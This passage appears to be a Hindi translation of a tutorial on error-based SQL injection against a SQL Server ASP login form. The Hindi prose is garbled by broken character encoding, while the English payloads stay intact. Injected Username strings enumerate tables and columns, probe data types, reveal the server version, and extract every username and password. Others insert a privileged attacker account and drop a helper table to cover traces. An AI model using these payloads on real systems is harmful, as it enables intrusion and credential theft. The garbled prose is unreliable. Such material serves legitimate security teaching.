рдмрдирд╛рдХрд░ "1" рдХрд╛ рдорд╛рди рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдЙрд╕реЗ рдЖрд╡реЗрджрди рдХреЗ рдкреНрд░рд╢рд╛рд╕рдХ рд╕реНрддрд░ рдкрд░ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдПрдХ рд╣реИрдХрд░ рдХреЗ рд▓рд┐рдП, рддреНрд░реБрдЯрд┐рдпреЛрдВ рдкрд░ рдПрдПрд╕рдкреА рдХрд╛ рдорд╛рдирдХ рд╡реНрдпрд╡рд╣рд╛рд░ рдЙрдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдВрджреЗрд╢ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдирд╛ рд╣реИ, рдЙрдирдХреА рдорджрдж рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рд▓рд┐рдП рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рд╕реЗ рд╕рднреА рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЗ рдореВрд▓реНрдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИред
(рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдКрдкрд░ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдбреЗрдЯрд╛рдмреЗрд╕, рд╕рд╛рде рд╣реА рдПрдХ рдПрд╕реНрдк рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ, рддрд╛рдХрд┐ рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред)
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдорд▓рд╛рд╡рд░ рдЙрди рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЗ рдирд╛рдо рд╕реЗрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдЧрд╛ рдЬрд┐рдирдХреЗ рд╕рд╛рде рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛рдо рдХрд░рддреА рд╣реИрдВ, рд╕рд╛рде рд╣реА рд╕рд╛рде рдлрд╝реАрд▓реНрдбреНрд╕ рдХреЗ рдирд╛рдо рднреАред рдЗрд╕ рд▓рдХреНрд╖реНрдп рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдЪреБрдирд┐рдВрджрд╛ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдореЗрдВ "рд╣реЛрдиреЗ" рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛:
Username: ' having 1=1
рдЬреЛ рдирд┐рдореНрди рддреНрд░реБрдЯрд┐ рдХрд╛ рдХрд╛рд░рдг рд╣реЛрдЧрд╛:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЗ рдирд╛рдо рдФрд░ рдЙрд╕рдореЗрдВ рдкрд╣рд▓реЗ рдХреЙрд▓рдо рдХреЗ рдирд╛рдо рдХреЛ рдЬрд╛рдирдирд╛ред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ "рд╕рдореВрд╣ рджреНрд╡рд╛рд░рд╛" рдСрдкрд░реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рд░реА рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
Username: ' group by users.id having 1=1
(рдЬреЛ рдмрджрд▓реЗ рдореЗрдВ рдПрдХ рдирдИ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35
рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣реИрдХрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдбрд┐рдЬрд╝рд╛рдЗрди рдореЗрдВ рдЖрдПрдЧрд╛:
' group by users.id, users.username, users.password, users.privs having 1=1
рдЬреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рдХрд╛ рдХрд╛рд░рдг рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдФрд░ рдЗрд╕рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрдЧрд╛:
select * from users where username = ''
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд▓рд╛рд╡рд░ рд╕реАрдЦрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреА рд╕рдВрд░рдЪрдирд╛ 'рдЖрдИрдбреА, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдкрд╛рд╕рд╡рд░реНрдб, рдирд┐рдЬреА' (рдЙрд╕ рдХреНрд░рдо рдореЗрдВ) рд╣реИред
рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рдпрджрд┐ рдЖрдк рдкрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЙрд▓рдо рдореЗрдВ рдХрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдбреЗрдЯрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, "рдкреНрд░рдХрд╛рд░ рд░реВрдкрд╛рдВрддрд░рдг" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ:
Username: ' union select sum(username) from users
рдпреЛрдЧ () рдХрд╛ рдЕрд░реНрде рдпрд╣ рд╣реИ рдХрд┐ SQL рд╕рд░реНрд╡рд░ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдореВрд▓реНрдп рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдпрд╛ рд╡рд░реНрдг рд╣реИред рдкрд╛рда рдлрд╝реАрд▓реНрдб рдХреЗ "рдпреЛрдЧ" рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдирд┐рдореНрди рддреНрд░реБрдЯрд┐ рд╣реЛрдЧреА:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
рдЬреЛ рд╣рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдлрд╝реАрд▓реНрдб рдореЗрдВ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ varchar рд╣реИред рджреВрд╕рд░реА рдУрд░, рдпрджрд┐ рд╣рдо рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдкреНрд░рдХрд╛рд░ рдХреЗ рдпреЛрдЧ () рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдПрдХ рд╕рдВрджреЗрд╢ рдорд┐рд▓рддрд╛ рд╣реИ рдХрд┐ рджреЛ рдкрд╛рда рд▓рд╛рдЗрдиреЛрдВ рдХреЗ рд╕реЗрдЯ рдореЗрдВ рд╡рд░реНрдгреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреА рд╣реИ:
Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕реНрдерд┐рдд рдХрд┐рд╕реА рднреА рдХреЙрд▓рдо, рд▓рдЧрднрдЧ рдХрд┐рд╕реА рднреА рдХреЙрд▓рдо рдХреЗ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдПрдХ рд╕рдорд╛рди рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдмрджрд▓реЗ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП "рдЗрдиреНрд╕рд░реНрдЯ" рдЕрдиреБрд░реЛрдз рдХреЛ рдмрдирд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╡рд╣рд╛рдБ рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдПрдХ рд╣реИрдХрд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рд╕реЗ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдорд╛рдирдХ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рд╕реВрдЪреА рдирд┐рд░реНрдорд╛рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ:
select * from master..sysmessages
рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреВрд░рд╛ рдХрд░рдХреЗ, рдЖрдк рдмрд╣реБрдд рд╕реА рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЯрд╛рдЗрдк рд░реВрдкрд╛рдВрддрд░рдг рдЬрд╛рдирдХрд╛рд░реА рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред рдпрджрд┐ рдЖрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреВрд░реНрдгрд╛рдВрдХ рдореЗрдВ рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╕рднреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕рд╛рдордЧреНрд░реА рд╡рд╛рд▓рд╛ рд╕рдВрджреЗрд╢ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧрд╛ред рд╣рдорд╛рд░реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдПрд╕рдХреНрдпреВрдПрд▓ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг, рд╕рд╛рде рд╣реА рд╕рд╛рде рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рд▓реМрдЯрд╛рдПрдЧрд╛ред
Username: ' union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35
рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕реНрдерд┐рд░ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ
'@@version'
рдкреВрд░реНрдгрд╛рдВрдХ рдорд╛рди рдореЗрдВ, рдЪреВрдВрдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рдкрд╣рд▓реЗ рдХреЙрд▓рдо рдореЗрдВ рдпрд╣ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рд╣реИред
рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХрд┐рд╕реА рднреА рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХрд┐рд╕реА рднреА рдореВрд▓реНрдп рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рд╡рд╣ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдирд┐рд░реНрдорд╛рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛:
Username: ' union select min(username),1,1,1 from users where username > 'a'
рдРрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЪрдпрди рдХрд░рдирд╛ рдЬрд┐рд╕рдХрд╛ "рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо" "a" рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкреВрд░реНрдгрд╛рдВрдХ рдорд╛рди рдореЗрдВ рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВрдЧреЗ:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдорд┐рд▓рддреА рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╣рдо рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ:
Username: ' union select password,1,1,1 from users where username = 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35
рдПрдХ рдЕрдзрд┐рдХ рд╕реБрдВрджрд░ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдЪрдпрди рдореЗрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ, рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рдкреВрд░реНрдгрд╛рдВрдХ рдорд╛рди рдореЗрдВ рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд▓реЗрдирджреЗрди-рдПрд╕рдХреНрдпреВрдПрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдПрдХ рдкрдВрдХреНрддрд┐ рдореЗрдВ рдЙрдирдХреЗ рдЕрд░реНрде рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рдмрд┐рдирд╛ рдПрдХ рд╕рд╛рде рдПрдХрддреНрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ - рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:
begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end
рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рд╕рд╛рде "рд▓реЙрдЧ рдЗрди" рдХрд░реЗрдЧрд╛:
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end
рдпрд╣ рдХреНрд╡реЗрд░реА рдПрдХ рдЯреЗрдмрд▓ рдлреВ рдмрдирд╛рдпреЗрдЧреА рдЬрд┐рд╕рдореЗрдВ рдПрдХ "рд░рд┐рдЯ" рдХреЙрд▓рдо рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ рд╣рдорд╛рд░реА рд╕рднреА рдкрдВрдХреНрддрд┐рдпрд╛рдБ рд╕реНрдерд┐рдд рд╣реЛрдВрдЧреАред рдЕрдХреНрд╕рд░, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдмрдирд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрддреА рд╣реИ, рдпрд╛ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдбреЗрдЯрд╛рдмреЗрд╕ рднреА рд╣реЛрддрд╛ рд╣реИред
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕ рддрд╛рд▓рд┐рдХрд╛ рд╕реЗ рд╕рднреА рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣реИ:
Username: ' union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35
рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдпрд╣ рдирд┐рд╢рд╛рди рд╣рдЯрд╛рдПрдЧрд╛, рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рд╣рдЯрд╛ рд░рд╣рд╛ рд╣реИ:
Username: '; drop table foo
рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рджреНрд╡рд╛рд░рд╛ рджрд┐рдП рдЧрдП рд╕рднреА рд▓рдЪреАрд▓реЗрдкрди рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВред рдпрд╣ рдХрд╣рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рддреНрд░реБрдЯрд┐ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ, рддреЛ рдЙрдирдХрд╛ рдХрд╛рдо рдмрд╣реБрдд рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред